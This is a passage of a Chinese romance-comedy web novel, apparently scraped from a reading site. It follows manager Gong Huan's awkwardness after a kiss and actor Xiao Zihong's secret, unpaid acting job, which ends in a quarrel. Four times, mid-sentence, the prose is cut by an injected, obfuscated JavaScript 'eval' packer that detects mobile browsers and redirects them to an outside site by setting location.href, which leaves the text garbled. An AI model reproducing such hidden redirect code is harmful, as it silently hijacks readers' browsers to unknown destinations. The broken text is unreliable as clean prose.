宫欢满脸哭相,虽说她早就做好了做胡萝卜就要被咬的准备,可怎么就这么突然,这么快,这么猝不及防。 她就说她应该去看看心理医生——随便亲人这种病要怎么治啊。 后悔,当事人非常后悔。 距离音乐节那天过去了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126389|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个星期,这期间她一直躲着奚亭云,一看见他,她就想起那天亲他的时候。 唇软,腿软,她当时差点跪下,被奚亭云揽住腰,摁住了后脑勺,一点都挣脱不开。 要不是她踩了他一脚,不知道要亲到什么时候。 发生了那种灾难级事故后,宫欢想当场逃离现场。 又被该死的奚亭云手疾眼快地抓住衣服,她逃也逃不掉,说也说不出口,脑袋里全是浆糊,只能瘫坐在地,思绪混乱。 唉。 亲的那一口是很爽,可现在她根本不敢面对奚亭云了。 他之前就很想要她的关注,现在亲了一口,岂不是会因为宫欢对他感兴趣,从而得寸进尺!? 男人,实在是麻烦。 同样被麻烦的甘惊鸿失魂落魄地来到了书房。 她本是想来问有没有可以演的角色,但进了书房就倒在沙发上,与宫欢一起唉声叹气。 两人你一声我一声唉了半天,宫欢忽然坐直了身体,挪着屁股往甘惊鸿那边坐,她一本正经地说:“小甘,问你个问题,我...有个朋友和她的朋友不慎亲了嘴,但是他们两个还没到交往的份上,这种情况该怎么办啊?” 通常来说,宫欢一遇到麻烦事都是找高姐,但这回不行,她怕高姐骂死她。 小甘看起来单纯又无知,一定不会往其他方面乱想。 但宫欢没想到的是—— “欢姐你跟谁亲嘴了!?”甘惊鸿猛地坐起身,瞪大眼睛看着宫欢,一副震惊加意外的表情,“什么时候亲的,怎么亲的——唔唔唔!” 宫欢死死捂住了她的嘴,另一只手抵在唇边做出“嘘”的气音。 见甘惊鸿眨眨眼睛示意明白,她才松开手,冲到书房门口四处张望,确定没人偷听后狠狠关上了门,反锁两次。 做完保密工作,她浑身泄了气似的继续飘回沙发上。 甘惊鸿将自己的事抛开,又挪了两下屁股挨着宫欢,八卦之心燃起:“到底是谁啊?” 她又不笨,宫欢平时像只傲气的大公鸡,现在蔫成这样,一定是遇到什么事情了。 “我要是跟你说了,你一定不能跟第三个人说。”宫欢歪过头来,盯着甘惊鸿再三叮嘱,“你一旦说了,别墅里就别想安生了。” “什么!!?”甘惊鸿震惊地捂着嘴,不敢置信地看着懵逼的宫欢,“是安声!?” 宫欢:“?” 没等宫欢反应过来,甘惊鸿快速接受了这个结果,她不知道脑补出了什么,一边回忆,一边深以为然地拍拍宫欢的手。 一副非常理解她的表情:“我懂,欢姐,我都懂,虽然他比你小了几岁,但是长相也还不错,虽然他有点幼稚,不太配得上你,但是你想玩玩的话,我也能理解。” 宫欢无语凝噎。 得到两人亲嘴消息的甘惊鸿碰见安声时,不再是之前的和善态度。她开始上下打量着安声,边看边咋舌,怎么都有点觉得不行。 安声被她盯得不适应,小心翼翼地问:“怎么了吗?” “欢姐到底喜欢你什么呢?”甘惊鸿不由得怀疑。 “喜欢我什么?”安声指着自己重复一遍,略微思考下,拍了拍手,“哦,你好奇这个啊,那还要从欢欢姐在夜店里一眼看中我开始说起啦。” “夜——店!?”甘惊鸿叫道。 “对啊,”安声满脸自豪,“欢欢姐说我非常有天赋,在一众伴舞里面选中了我——我妈妈一直说她是我的贵人,让我好好跟着欢欢姐。” “你妈妈!!?” “是啊。” 安声有些疑惑地看了看甘惊鸿,怎么他说一句话甘惊鸿就震惊一次,好像是天大的事情一样。 “你们,你们还见了父母!?”甘惊鸿现在被接二连三的内幕砸得头晕眼花。 安声慢慢点头,担忧地问:“饼干姐姐,你还好吗?” 甘惊鸿疯狂摇头:“不好,我一点都不好,你们怎么能见父母呢!” “啊?” 说着甘惊鸿不顾还在懵懵状态中的安声,转身便匆匆忙忙地跑回三楼,直直朝着书房冲去,推门而入,看见宫欢正在处理工作—— 甘惊鸿大步上前,双手拍在办公桌上,痛惜地看着宫欢:“你怎么能跟他见父母,怎么可以!” 手里拿着电子笔准备画图的宫欢僵住:“......” 面前的人义填愤膺地列举她和安声的种种差距,说只能谈一谈恋爱,但是绝对不能认真布拉布拉之类的话。 宫欢默默往座椅后背靠,单手托着下巴,惆怅地走了神。 如果把主人公换成奚亭云,似乎甘惊鸿说的话也很适配。 绝对不能认真。 因为他们根本不是一个世界的人。 99. 心思各异1 【前辈,你最近去哪里了啊,怎么一直都看不到你。】 【没听说男团最近有活动呀,是出去散心了吗?】 【怎么那么突然啊,我都不知道。】 萧子重神色复杂地看着聊天界面的几条消息,长时间紧握手机,手心渗出了细细的汗,潮湿感使他不适。 他闭了闭眼,将手机锁屏。 半个月前,频繁发消息渴望得到对方回应的人还是他,现在两人却身份互换了。 要命,太要命了。 萧子重抓了两下头发胡乱揉着。 早知道他就不该过分地去关心她——不行啊,她对饰演角色和抽离角色没有一个很好的解决办法,不正确引导的话,极有可能陷入心理问题。 可是,可是... 现在他完全不知道该怎么跟她相处了。 上次音乐节在海边的谈心完全是萧子重超常发挥,才能面不改色心不跳的和她坐在一起。 而最近她比以往都要热情,经常黏着他转,萧子重有时连一句话都说不利索,身体机能完全无法正常运作,每天都是晕晕乎乎的。 再这样下去,萧子重怕自己会因过敏而猝死。 他得想办法让自己清醒点搞事业! 没有事业怎么面对小甘,她都已经非常完美的诠释了几个角色,可他呢,他还屁都不是! 这怎么行。 思绪流转间,车身停在了竖店入口处,萧子重反应过来后付了钱,拎着行李箱下了车。 竖店影视城外人来人往,城门口摆着几张桌子,群演头子坐在门口喝保温杯里的茶聊天,一些初来乍到的演员被拦在外面,除非里面有人,或是有群演证才能进出。 萧子重拉着行李箱,临近城门时从身上掏出个证件在查阅的工作人员面前晃了晃,没等对面看清,就不耐烦地收了回去。 他戴着墨镜,额发上梳,衬得脸型流畅硬朗,穿皮衣夹克,手带繁复的机械腕表,低调却不普通。工作人员怕他是哪个小明星,也不敢多说,直接让人进去了。 走进影视城内,萧子重才呼出口气——还好那张过期了好几年的群演证能派得上用场。 朋友是之前的话剧团里的人,前段时间刷到男团小火的视频,问候了萧子重几句,两人就你来我往的有了联系。 最近朋友被一位大导演选中来演男二,特意跟萧子重多说了些,让他也来看看能不能拿到一些角色。 “我们都是演员出身,去搞什么唱跳啊。” 朋友在化妆间里卸妆,朝坐在一边沙发上休息的萧子重说:“诶,我可听说唱跳那边的水很深,有的就是故意熬你的青春,等你熬不动了要解约了,来赚你的违约金。” 萧子重懒散地坐着,心事重重,随意搭着话:“这倒不会,我那个经纪人不是这样的人。” “说得好像你很了解她一样,”朋友拿着湿纸巾擦脸,透过化妆镜看背后的萧子重,“这个圈里的人,谁不是表面一套背后一套?” “不是我说,你别忘了老本行,学了那么多年的表演总不能全是白瞎了......” 萧子重不置可否,视线落在一处许久,也不知道在想什么,任由朋友在旁边絮絮叨叨。 “——陈导,您来了!” 朋友忽然音调高扬,带动着萧子重也从沉浸的思绪中抽离出来,他随着朋友的起身动作看去——化妆间外走过一位气势颇足的人,旁边簇拥着好几个助理,拿着平板笔记本记录着她说下的话。 这位陈导听见有人喊她,扭头往化妆间里看了眼,本是随意点了点头当做示意,但眼神一转看见懒懒散散没个正形的萧子重,眼神略作停顿,盯着萧子重片刻。 萧子重当然也注意到这非常明显的打量视线,他顿时不太自在地站起来,也朝这位陈导演点头打招呼:“陈导。” “你好,”陈导点点头,转头问朋友,“这位是?” 他连忙两步冲到沙发前,一把拽住萧子重的手臂将人扯了过来,热情地向导演推荐:“陈导,这是我朋友萧子重,专业科班电影学院毕业本科生,多年话剧舞台经验,也曾经出演过非常多的影视作品!” “这位是陈导,拍过很多部经典作品,有几部可是上了表演学院案例教材书的!” 萧子重瞬间明了,身上那股懒散劲一下散去,活像只鸟雀抖了抖羽毛,翻出最鲜亮艳丽的羽毛,双眼炯炯有神:“没错,陈导,我曾经在【重刑之下】饰演过穷凶恶极的罪犯ABB,【情缘未定】里饰演男三xx,【肖克的秘境】饰演xxx,我非常专业靠谱,业务能力一流!” 两人你一句我一句地说了半天,陈导沉默片刻,缓缓点点头,有些迟疑地问:“你是不是前段时间的那个——男团?” 萧子重和朋友不约而同地在心里叹了口气,互相看了一眼。 随后萧子重扯起个惯用的浮夸笑容,他伸手一把握住陈导的手重重摇晃着,大笑着肯定:“是我是我,陈导您真是慧眼识珠啊!” “你底子不错,要不要来客串个角色?”陈导的胳膊被人摇晃的厉害,她费力地抽回手,饶有兴趣地看着面前的人。 最近剧组里有演员爽约,她一时半会实在是找不到合适的演员,正为这事发愁,这不刚好得来全不费工夫。 而且这人还是前段时间小火的男爱豆,客串一下也能蹭点流量。 就是听说,这男团的经纪人是…… “当然可以了,”萧子重激动不已,根本顾不上那么多,满口答应下来,“您说需要演什么角色,我全能,都能尝试!” 萧子重的重重心思被清洗掉,来这一趟如果能拿到一个好角色,他求之不得。 陈导:“既然你也有意向,那我就和你的经纪人联系一下,双方商量个拍摄时间。” 经、经纪人!? “不不不用了——”萧子重话到嘴边拐了个弯,旁边的朋友大气都不敢喘地瞪着他,这可是拍过经典作品的大导演,他要是敢拒绝人家,就别想在圈里混了! “客串您的影视剧当然是义不容辞的,”萧子重硬着头皮说下去,“我最近都可以进行试镜拍摄这些流程,档期比较充足,啊我的经纪人最近比较忙,哈哈哈哈,暂时不用打扰她的。” 说着萧子重抬手擦了擦额头的细密汗珠,不经意的和朋友对视一眼。 客串归客串,不要钱都行,萧子重觉得这总归是一个历练的机会——绝对不能让宫欢知道他打着来看朋友的幌子,结果私下接活啊。 - 隔天。 萧子重准备就绪,按照陈导给的地址来到竖店影视城的民国街区,穿过不少正在拍摄的剧组,问了几个群演才找到位置。 这片区域被陈导的班底暂时画圈租用,他刚进去便看见陈导在拍配角戏份。 “抓紧时间走一遍流程啊,等下主演过来了争取一遍过,”陈导拿着喇叭高喊着,监视器的画面里显示出空荡荡的街道,“准备,action——” 久违的剧组语言,萧子重身体松懈下来,在这,他才能体会到那种属于自己的回归感。 副导看见萧子重傻站在那,张嘴吆喝了句:“诶,那边那个谁啊,一身现代装,出戏了!” 陈导扭头过去,便看见萧子重一路跑过来,礼貌地朝几个人点点头叫老师:“几位老师好,我是来试镜的。” “哦对,我昨天碰见他的,副导,你拿剧本给他看看,等下试他的戏。” 拿到剧本,萧子重快速翻看着——男三号,是主角的副官,负责站在男一的旁边,需要姿态挺拔,有军官的身姿。 看到这,萧子重不免微微挑了挑眉。 如果说演别的他可能需要入戏酝酿的过程,可要是演一个军人,他还真是不需要演了。 从小就在部队大院里生活,他的一切生活作息都严格按照这些标准来,坐姿,站姿,甚至是吃饭的动作都一模一样。 萧子重略微走神。 要试的戏份陈导给他指了出来,就是副官向女主演三姨太来传信,说上将遭遇敌袭,生死不明,表现出副官的痛苦与不安,还有为主角的心上人三姨太担忧的情绪转变。 大概看了半个小时左右的剧本,萧子重对这场戏有了把握,他向副导陈导等人说:“我准备好了,可以开始试戏。” 试戏,是个人表演。 陈导让现场静下来,摄像机找几个角度对准萧子重。 他将剧本放在一边,理了理看上去有些松垮的短T。 仅仅是一个整理衣服的动作,众人可见,那个来时不太正经,吊儿郎当的人,眨眼间腰背挺得笔直,身姿端正,就连面部的五官都标准起来,不再是各过各的。 不少人都转过头来看。 陈导坐在监视器后,看见这些细微的表情变化后,略感惊讶,这回好像还挖到个宝了。 萧子重进入状态,他先是走了几步, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126390|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迈过不存在的门槛,目光望见不远处的人,他摘下虚无的军帽放在左臂上,移步过去。 刚走两步,剧组临时租用的房间里走出一个人,她穿着修身优雅的青绿色旗袍,眉眼如黛,一出房间,也是正朝着萧子重的方向。 两人就这么打了个照脸。 萧子重当场愣住,哑巴了。 赵莉莉也是一梗,不知道什么情况。 陈导则在监视器后面小声提醒:“继续啊,继续演!都赶到这了,演完!” 萧子重只好硬着头皮,低下头走到赵莉莉几步远的位置,从身上拿出一封信,递给她,语气沉重:“太太,这是之前上将一直都想给您的信,但是始终没寄出去。” 赵莉莉瞬间明白过来,这是在试戏,她刚化完妆,也是巧了,跟萧子重撞上,只好顺着演下去。 “他为什么没来。”她盯着那封信,没有接。 “......上将在一次任务中,遇到突袭,现在还生死不明,”他低声说,有几分哽咽,似乎吸了吸气才理顺呼吸,“我们怀疑他陷入了困局,一直联系不上我们,因为...现在还没找到他的尸骨。” “这封信......”萧子重再次将空无一物的手做出递出去的动作。 赵莉莉忽得笑了一声,肩膀耸动,眼睛空洞无神,只是眨了两下眼睛,便迅速泛红泛泪。 她转过身,背对着副官,声音哽咽:“我不想看,人都不知道在哪,看信有什么用......有本事让他回来见我啊!” 说到后面,她带着哭腔的嗓子几乎破音,赵莉莉背对着镜头,抬手用力擦擦脸,不再多说,径直进了房内。 只留副官在原地,将信放在了园中的石桌上,转身离去。 “卡——”陈导喊道,众人回过神来,纷纷叫好,“真不错,好了,大家休息一下。” 萧子重心里还在敲鼓,他心虚地往旁边的房间里看了眼,果不其然对上赵莉莉审视的视线。 恰巧这时陈导走来,满眼欣赏地肯定道:“你简直是天选副官啊,演技拿捏得非常精准,身板也不错,好,就你了,后面的副官戏份都看看吧,后面跟组。” “谢谢,谢谢您。”萧子重客套几句,便迫不及待地冲进了赵莉莉所在的房间。 这是一间化妆休息室,足有两三百平,一进去里面人声嘈杂,都在忙着化妆换衣服。 赵莉莉则侧坐在一边的休息椅上,她伸手捋了捋贴鬓边的波浪卷发,翘着腿,看着慢慢过来的萧子重,颇为怀疑地问:“宫欢让你们出来拍戏了?” “咳咳,这个,”萧子重试图想编个借口,想了半天的措辞,“我会说服她的。” “这么说,她完全不知道这件事?”赵莉莉早有预料,她拢了拢旗袍的下摆,两手搭在腿上,好笑地看着面前拘谨的人。 谁能想到陈导的剧组就是赵莉莉所在的剧组,竖店真是小,一不小心就撞到个熟人。 萧子重想着,如果现在抱住赵莉莉大腿说——“我以后愿意无偿喝你创新的所有中药,能不能帮我保密!”她会不会接受。 两人僵持片刻,还是萧子重没绷住,屁颠儿地跑到赵莉莉身后给她捏肩捶背,十足的小喽啰:“姐,好莉姐,算我求你,千万千万不要告诉宫欢我在剧组拍戏,我这回是瞒着她的,要是让她知道我背着她接私活,她绝对会劈了我!” “看在我爱喝中药的份上,”萧子重半蹲在她旁边双手作揖求饶,“您饶了我吧——!” 赵莉莉往休息椅背上靠着,优雅不失美感地将几根手指轻轻托着下颌,她也不知跟谁学的,居然略作思索:“哎呀,这就有点难了,我要好好想想。” “您说,什么条件我都答应!!” “嗯......”赵莉莉的眸光微闪,缓缓露出个笑来,语调轻柔舒缓,却有种让人不寒而栗的感觉,“我最近发现了一个补气血的药膳,正缺人尝尝呢。” “您早说啊,”萧子重一拍大腿,狗腿子似的点头,“让我尝,我最喜欢吃这些东西了!” “哦,那就好,其实这个药膳特别补,里面有蛇皮、蝎尾、蟾蜍腿、蝉壳......” 萧子重一脸谄媚的笑容慢慢平了回去,到后面他双眼失去光亮,从裤兜里拿出手机递给赵莉莉。 “干嘛?”赵莉莉不明所以地看着手机。 他视死如归:“比起被药死七窍流血,我觉得被宫欢弄死也是个不错的选择。” 100. 心思各异2 宫欢接到赵莉莉电话时,以为是剧组那边有情况。 她做足了心理准备,却听见赵莉莉说:“我碰见萧子重在剧组试戏。” “什么!!??” 宫欢当即挂断电话,灵动的眼中燃起怒火,她压着火气,点开萧子重的微信,拇指死死摁住语音框,开头低沉渗人,后面直接怒吼:“萧子重,你给我等死吧!” 紧跟着马不停蹄地买机票,收拾两件衣服,宫欢冲出卧室,刚下楼梯到大厅。 奚亭云偏偏挡住去路,他不明所以地看她这着急忙慌的架势,开口叫了声欢欢,就被怒火中烧的宫欢一把推开:“起开,别拦我!” 她急匆匆地往外走了,奚亭云莫名的看着她走远,挫败感再次涌上来。 宫欢启程赶到机场,趁着最近的航班飞至B市,再开车连夜到竖店影视城。 她没片刻停顿,眼里心里全是要狠狠骂人的冲动。 是夜。 上海滩的街道上人来人往,有名的舞厅外立着今晚演唱歌姬的海报,半空中的摄影机上方开着一盏大灯。 灯下的赵莉莉与男主演正柔情蜜意地互相看着对方,眼里情意难掩,台词却十分克制有礼。 男主演低头看着赵莉莉,而赵莉莉更是偏低着头,姿态动人,这幅画面在陈导的监视器里美得让人不忍打断。 而隔了两条街的地方,也上演着一出大戏。 宫欢唰得一下将手提包砸进了萧子重怀里,撸起衣袖,上前一把扯着他衣领,准备好好算一算账: “什么意思,啊?背着我接私活,你别太上赶着了,我听人家说你连钱都不要,白演啊,我怎么不知道萧大善人什么时候这么有善心呢?这么善良送我几百万花花啊。” 萧子重被她劈头盖脸一顿骂,脸上全是唾沫星子,他抓着小小的手提包,双手高举做出投降姿势,态度还算诚恳。 “等等等等,大经纪人,您先别骂,我知道我不应该这么随便进组演戏,但是咱也得讲理啊。” 萧子重心里直敲鼓,但还是尽量稳住,因为不稳就死了。 “我们最近被多少人骂,商演也没几个子儿,天天窝在小训练室里面,对着镜子跟神经病一样跳舞,就为了个不确定的机会,我们又不是没手没脚,只靠你一个去拉资源,我也有人脉啊。” 宫欢没好气地呸了一声,松开他衣领时用力推了人一把,奈何没推动,萧子重只是肩头微动,又死乞白赖地站在那痞笑,宫欢气得磨牙:“这圈里阿猫阿狗都能说自己有人脉,你的人脉能给你贴金吗?” “你说话别太难听,”萧子重也来火了,他单手撑在腰胯处,学着宫欢叉腰的姿势,个头比她高许多,“宫欢,我还没跟你算你忽悠我来当男团爱豆的事儿呢。你当初怎么说的,换一条路,多个选择,现在呢!?我看我是多找了棵树上吊!” “现在差哪儿了?”宫欢横眉竖眼,“资源商演哪个没给你,换你原来的职业,你能拿得到几百万的钱吗!” “钱钱钱,你张嘴闭嘴就是钱,”萧子重来回绕着步子,“我想要的不止是钱,我要作品!我要成就,我要名垂青史!!” 宫欢偏头擦了擦脸上被喷的唾沫,圆眼翻了个大大的白眼:“现在不是你拖欠电费找我借钱的时候了,不是你出门吃饭都要找我预支工资了,才几个月啊,你小子飘成这样,还没火呢,你就想飞上天当凤凰,连无人问津的时候都耐不住,你以后能成什么事?” 她抱着手臂,绕萧子重转圈,嘴里不停地念经:“所以你倒贴人家剧组演个男三就能名垂青史了啊,明天金鸡百花就非你莫属了哈,我还不知道您有这么大的能耐。” “宫欢!”萧子重额头青筋突突直跳,他脸色黑沉,显然是被激怒的神态,“我受够你了!动不动张嘴就骂,完全不尊重我的意愿,全靠忽悠和哄骗让我们给你打工!” 他说完这话,宫欢闭上了嘴,也停住绕着他转圈的步伐,站在旁边不动声色地看着他,似是想看看他能放出什么屁来。 “我要跟你解约!”萧子重震声道。 似乎早有预料,宫欢不轻不淡地挑挑眉毛,点着头像是要答应的样子。 但在萧子重半信半疑的时候,她缓缓伸出三根手指,说:“违约金三百万。” 下一秒,萧子重闪身至宫欢身后,双手轻柔地放在她肩头揉捏起来,他皮笑肉不笑地:“我知道欢姐就是刀子嘴豆腐心,平时那些话都是为了激励我们,您、真、是、用心良苦啊!” 说到后面萧子重几乎咬碎了牙。 宫欢长叹一声,摇摇头:“你也不年轻了,学着稳重一点吧,你看人家奚亭云——” 肩头忽得一痛,宫欢险些昏厥过去,她倒吸着凉气侧过头——背后的萧子重面部扭曲,笑得狰狞:“别给我玩对比拉踩那套。” 宫欢:“......” - 吵也吵过,骂也骂过,宫欢不再纠结萧子重接私活的事,让他去倒贴的同时,自己则在竖店四处转悠。 萧子重偷跑出来接私活的事宫欢能理解,昨天只是借题发挥治治他的嚣张气焰。 她心里很清楚,男团想要成名的路有多难,而萧子重本身就不适合唱跳,强行让他天天排舞练舞,有怨言是正常的事。 不止是他们焦虑,宫欢要担忧的更多。 音乐节过后,网上算是对三人有了初步的认可,毕竟脸和身材摆在那,足够有说服力,可接下来要怎么踏出下一步,宫欢却犯了难。 因为她的缘故,正规大舞台选三人都要考虑再三,他们粉丝不多,单独开个演唱会舞台也不回本,只能在其他的歌手演唱会上混个脸熟,全都是友情出演,没有酬劳。 宫欢在男团身上下的本可谓不少,从个人包装到人设塑造,花的心思也是最多的,现在却陷入这种僵滞。 愁啊,怎么能不愁。 两个月过去了,一切居然还没怎么开始。 接下来的一段时间里,宫欢白天在竖店四处乱晃,偶尔看看赵莉莉的戏份,再顺带着瞟一眼萧子重的演技。 不得不说,他演技的确是数一数二的。 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126391|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个副官被他演绎的不卑不亢,既不会过分争夺了主角的光环,又不会当人觉得他没存在感,属于是点睛之笔。 那天的争吵并非毫无意义,宫欢听进去了萧子重的话——他想要获得成就感。 演员需要作品傍身获得成就。 即使萧子重前段时间在舞台上有良好的表现,他也仍然认为那是不务正业。 他要名垂青史,胃口还不小呢。 不止是他,宫欢想,关清英,赵莉莉,甘惊鸿,她们应该都非常想要一个成就来肯定自己的演艺生涯。 大家都处在一个不确定的状态,这种迫切宫欢并不是看不到。 她清楚的感受得到每个人的迫切,焦虑,甚至是迷茫,在深挖了所有人的过往和简历后,她也明白她们需要什么样的转变。 宫欢每次都会信誓旦旦地告诉所有人:“相信我,没问题。” 但其实她自己才是最害怕的。 一群人指望着她,她不能后退一步。 30亿的对赌协议,是她孤注一掷的选择,不过既然敢接下来,宫欢就势必会做到。 惆怅了几天,宫欢又生龙活虎地去找人脉,这几天她倒是和陈导混熟了,两人称姐道妹的,看得萧子重满脑袋问号。 他拍拍旁边背台词的赵莉莉,指着两人:“宫欢什么时候跟陈导那么熟了?” 赵莉莉往正在大笑聊天的两人那边看了一眼:“昨天吧,还是前天,反正就这两天的事。” 萧子重啧啧称叹,不愧是宫欢,跟谁都能聊起来。 离开别墅来到剧组后,萧子重深深怀念这里的空气,剧组人员时常看见他抱着道具做出一副‘久别未见’的表情。 大家都见怪不怪了。主演们为了入戏,经常要随时保持这种准入戏状态。 他一身深蓝军装,在剧组里这边闻闻,那边看看,背着手盯监视器,或是帮忙搬道具——用宫欢的话说,何止是上赶着,倒贴还要给人塞钱。 刚开始剧组人员还会对他有戒备心,觉得这人莫名其妙,后来渐渐地,都熟悉了,有事儿需要帮忙的时候都会叫萧子重。 “萧哥!帮忙打个光!” 萧子重便爬上梯子举起摄影灯。 “老萧,要布景了,快快帮我搬个道具!” 萧子重便配合着他们搬搬挪挪着道具的摆放位置。 拍摄这个不要酬劳的男三下来,他晒黑了不少,没有助理帮忙打伞,萧子重也不注意防晒,黑得任谁来都要愣上一愣,以至于奚亭云看见他时,也是不敢认的。 是的,奚亭云。 当萧子重背着手四处看摄影机位是否都正常的时候,目光落在远处一道清瘦的人影上。 他拉着行李箱,穿着纯白T恤,站在远处不动。 明明是个艳阳天,萧子重却觉得一片阴云笼罩在了奚亭云的上方,使他的周身气息都有种阴郁感。 萧子重瞪了半天的眼,又抬手揉了揉,不敢置信:“我去……真是他。” 宫欢来还能理解,奚亭云是怎么摸过来的? 101. 心思各异3 民国街区的一间老茶馆,茶香味绵延十里,一些没有固定工作的群演们扎堆坐在店内店外喝着大碗茶。时不时聊着最近哪个剧组在招人,哪个明星又放鸽子的娱乐八卦,笑谈声不断。 楼上茶间包厢。 奚亭云拎起茶壶倒了两杯茶,旁边的萧子重焦躁地来回踱步,头大得不行。 “你能不能坐下来。” “坐?你还坐得住啊!” 萧子重侧过身,单手拍在茶桌上,深蓝军装勉强衬托出了他一丝的威严,眉眼压低带着戾气:“你怎么来的?宫欢知道我的信儿杀过来就算了,怎么你也前后脚的跟了过来?” 奚亭云两指捏起小茶盏,看上去非常风轻云淡地喝了口:“刷到了网上的路透图,我看见你和赵莉莉,还有她都在一起,就查了下赵莉莉的微博情况,知道你们在竖店的剧组拍戏。” 萧子重听得直咋舌,阴阳怪气地给奚亭云鼓掌:“我说老奚,你不去做侦探真是可惜了,这都能被你查到——可我就想不明白了啊,你平时看着不沾功利的,这么跑过来...图什么啊?难不成是怕我找到资源自个儿单飞?” 说完萧子重自己都笑了笑。 “别跟我说,是想看我和赵莉莉了,我可不信。” 奚亭云淡淡喝茶:“理由很简单。” 萧子重焦躁过后,按照自己的思路仔细想了想。 又看着面前装作喝茶的奚亭云,他眼珠转了转,也跟着坐下来,端起茶盏在指尖玩着,不经意地问:“你来是为了谁?” “随便看看。” “看看?”萧子重哼笑着,而后,语气逐渐沉下去,“老奚,你那心思别太明显,我这双眼睛看过多少人,就你这心思——人尽皆知!” 说完,他将茶盏猛地敲落桌上,茶水溅出。 两人之间仿佛有暗流涌动,小小的茶室内,窗口有微风徐徐灌入,吹动着写满茶字的纱帘。 奚亭云手里那杯茶早已凉透,他一口饮下,将茶杯轻轻放下,茶水在口中蔓延,由舌尖至舌根,全是苦涩的,没有回甘。 “人尽皆知,就她不知。” 事情到这,几乎十分明朗了。 萧子重内心震撼到了极点,他戏瘾上身,颤抖着手指,指向奚亭云,声音极其惊慌:“你,你居然对莉姐有意思!?——那陈丰怎么办!?” 奚亭云:“......” “我看我还是走吧。”奚亭云说着就要拉上行李箱离开,被萧子重一把摁回座位,“别急啊,我只是在做排除法!” 奚亭云无语望天、花板,一副不想再和萧子重说一句话的样子。 刚才确实是萧子重故意歪题,他非常非常不想发现这一非常可怖的事实。 两人微妙地安静了会,大概是在缓冲中。 萧子重怎么都想不通,这两人怎么成的? 他又问了一遍:“你是不是对她——” “是。”干脆利落的回答。 “只是在她那里看来,我现在还没有可以向外公开的资格。”奚亭云垂眸,重新又捏住了那小小的茶盏。 “你是没资格,安声都比你辈分高。”萧子重嘀咕道。 太可怕了,萧子重越想越觉得瘆得慌。 “不是我说,老奚你别太上赶着了,”萧子重说,“在别墅就追着她,现在还跑到这来了。” 奚亭云忽而眼神锐利:“我不上赶着,要像你一样躲着么?” 萧子重跳脚起来:“你什么意思?” 奚亭云面色淡定:“我想你应该比我清楚,你在躲谁。” “这能一样吗!”萧急了,“我,我有什么好躲的,我只是正常出差,工作!” 等等! 奚亭云说谁了吗? 他又说了谁? 他们都知道是谁? 不是吧!! 萧子重心如死灰地倒在桌子上,他怎么也想不明白,事情是如何发展到这一步的。 更让他痛苦的是,他并不排斥。 哑谜打了半天,萧子重烦躁地揉乱了头发,他趴在桌上,使劲儿抬眼的动作使额头堆积起了几条抬头纹。 奚亭云还是一副风轻云淡的高深模样,真要这么淡定,还会屁颠屁颠跑来找人? “你喜欢她?”萧子重问。 “你不也是?”奚亭云说。 萧子重炸了,一下坐正身子,举起双手表示无辜:“喂喂喂,我可没喜欢宫欢!” 奚亭云咬紧了牙,低声:“我没说她,你要是对她有意思,我会先把你解决了。” “那你说的谁!?” 奚亭云看透了萧子重这骗自己,也骗别人的动静,他扯了扯嘴角:“非要明点出来?还是说——连你自己也不确定?” 萧子重瞬间沉默。 他将脸埋在手掌心里,狠狠搓了搓脸:“我不知道,我不知道自己到底是怎么想的。” 他真是觉得自己有病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126392|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 不被甘惊鸿看到时,总是想尽办法引起她的注意力,可真被她认认真真地注视着,他反而退缩起来。 人怎么能如此矛盾呢。 “你继续在这里纠结吧,”奚亭云起身,拉开门拖着行李箱就准备离开,“我要去找她。” 萧子重当即一个激灵跳起来,死死扯住行李箱,硬生生拖住人:“不行!老奚,你冷静点儿好好想想,你到底喜欢她什么——!!” “我跟你说不明白。” “那你总不能连自己都骗吧!” 两人堵在VIP茶室门口,奚亭云用力扯着行李箱的拉杆往外拖,萧子重则抱住了整个箱身与他角力。 “放开,别拦我。” 